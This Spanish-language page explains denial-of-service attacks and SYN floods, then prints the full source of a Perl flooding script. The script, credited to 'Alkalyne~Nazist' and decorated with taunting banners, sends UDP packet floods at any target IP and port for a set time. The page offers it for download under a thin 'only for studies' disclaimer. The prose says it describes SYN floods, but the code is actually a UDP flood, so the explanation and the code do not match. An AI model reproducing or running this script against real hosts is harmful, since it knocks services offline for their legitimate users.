Spc-DDoS - Ataque de denegación de servicio

Ataque de Denegación de Servicio (DoS)

Un ataque de denegación de servicio (DoS) tiene como objetivo impedir que los usuarios legítimos accedan a un servicio de red. Puede ejecutarse de distintas maneras, pero todos comparten un punto en común: explotan el funcionamiento de la familia de protocolos TCP/IP para saturar o interrumpir un sistema.

Formas comunes de un ataque DoS

Los ataques DoS suelen centrarse en uno o varios de los siguientes aspectos:

• Consumo excesivo de recursos, como ancho de banda, CPU, memoria o espacio en disco.
• Alteración de configuraciones, por ejemplo tablas de enrutamiento.
• Manipulación del estado de las conexiones, como la interrupción de sesiones TCP mediante paquetes RST.
• Interrupción de componentes físicos de red.
• Bloqueo de la comunicación entre los usuarios y el servicio atacado.

TCP/IP y el uso de Flags

Cuando dos sistemas se comunican mediante TCP/IP, intercambian paquetes que contienen una cabecera con señales llamadas Flags (banderas). Estas banderas controlan acciones como:

• Iniciar una conexión (SYN)
• Confirmar una conexión (ACK)
• Reiniciar una conexión (RST)
• Cerrar una sesión

Intercambio TCP normal (Three-Way Handshake)

1. El cliente envía un paquete SYN
2. El servidor responde con SYN/ACK
3. El cliente confirma con ACK

Este proceso establece una conexión válida entre ambos sistemas.

Ataque SYN Flood

En un SYN Flood, el atacante envía grandes cantidades de paquetes SYN, generalmente con direcciones IP falsificadas. El servidor, al recibirlos:

1. Responde con paquetes SYN/ACK
2. Espera una respuesta ACK que nunca llega

Como resultado, el servidor mantiene conexiones abiertas incompletas, consumiendo recursos y agotando el número máximo de conexiones disponibles. Esto provoca que las solicitudes legítimas no puedan ser atendidas.

Este efecto se considera amplificado, ya que múltiples sistemas pueden generar respuestas dirigidas a la víctima, incrementando el impacto del ataque. Además, los dispositivos intermedios (routers, firewalls, proxies) también pueden verse afectados.

Github

Descargar

Código

#!/usr/bin/perl

#~~~~> SE VOCÊ TEM CONHECIMENTO E NÃO É UM LAMMER, NÃO MODIFIQUE O SCRIPT

#~~~~> Voltado apenas para estudos

 

use Term::ANSIColor qw(:constants);

    $Term::ANSIColor::AUTORESET = 2;

print BOLD RED "Host IP \n";

print BOLD YELLOW "Port \n";

print BOLD GREEN "Package ";

print BOLD BLACK  "Seconds \n";

 

#Created by Alkalyne~Nazist

 

use Socket;

use strict;

 

my ($ip,$port,$size,$time) = @ARGV;

 

my ($iaddr,$endtime,$psize,$pport);

 

$iaddr = inet_aton("$ip") or die "Unidentified IP host, maybe you have not even pasted yet. $ip\n";

$endtime = time() + ($time ? $time : 100);

socket(flood, PF_INET, SOCK_DGRAM, 17);

 

print BOLD RED<<EOTEXT;

:'######::'########:::'######:::::'########::'########:::'#######:::'######::

'##... ##: ##.... ##:'##... ##:::: ##.... ##: ##.... ##:'##.... ##:'##... ##:

 ##:::..:: ##:::: ##: ##:::..::::: ##:::: ##: ##:::: ##: ##:::: ##: ##:::..::

. ######:: ########:: ##:::::::::: ##:::: ##: ##:::: ##: ##:::: ##:. ######::

:..... ##: ##.....::: ##:::::::::: ##:::: ##: ##:::: ##: ##:::: ##::..... ##:

'##::: ##: ##:::::::: ##::: ##:::: ##:::: ##: ##:::: ##: ##:::: ##:'##::: ##:

. ######:: ##::::::::. ######::::: ########:: ########::. #######::. ######::

:......:::..::::::::::......::::::........:::........::::.......::::......:::

       

EOTEXT

 

use Term::ANSIColor qw(:constants);

    $Term::ANSIColor::AUTORESET = 2;

print "~ We are the law ~ $ip " . ($port ? $port : "random") . "-" .

  ($size ? "$size-byte" : "Get No Routed Bitch!?") . "

~ DDoS <3.

~ #SPC_DD0S ~ " .

  ($time ? " for $time seconds" : "") . "\n";

print "Stoping comand: Ctrl-C\n" unless $time;  

 

for (;time() <= $endtime;) {

  $psize = $size ? $size : int(rand(1500000-64)+64) ;

  $pport = $port ? $port : int(rand(1500000))+1;

 

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,

 $iaddr));}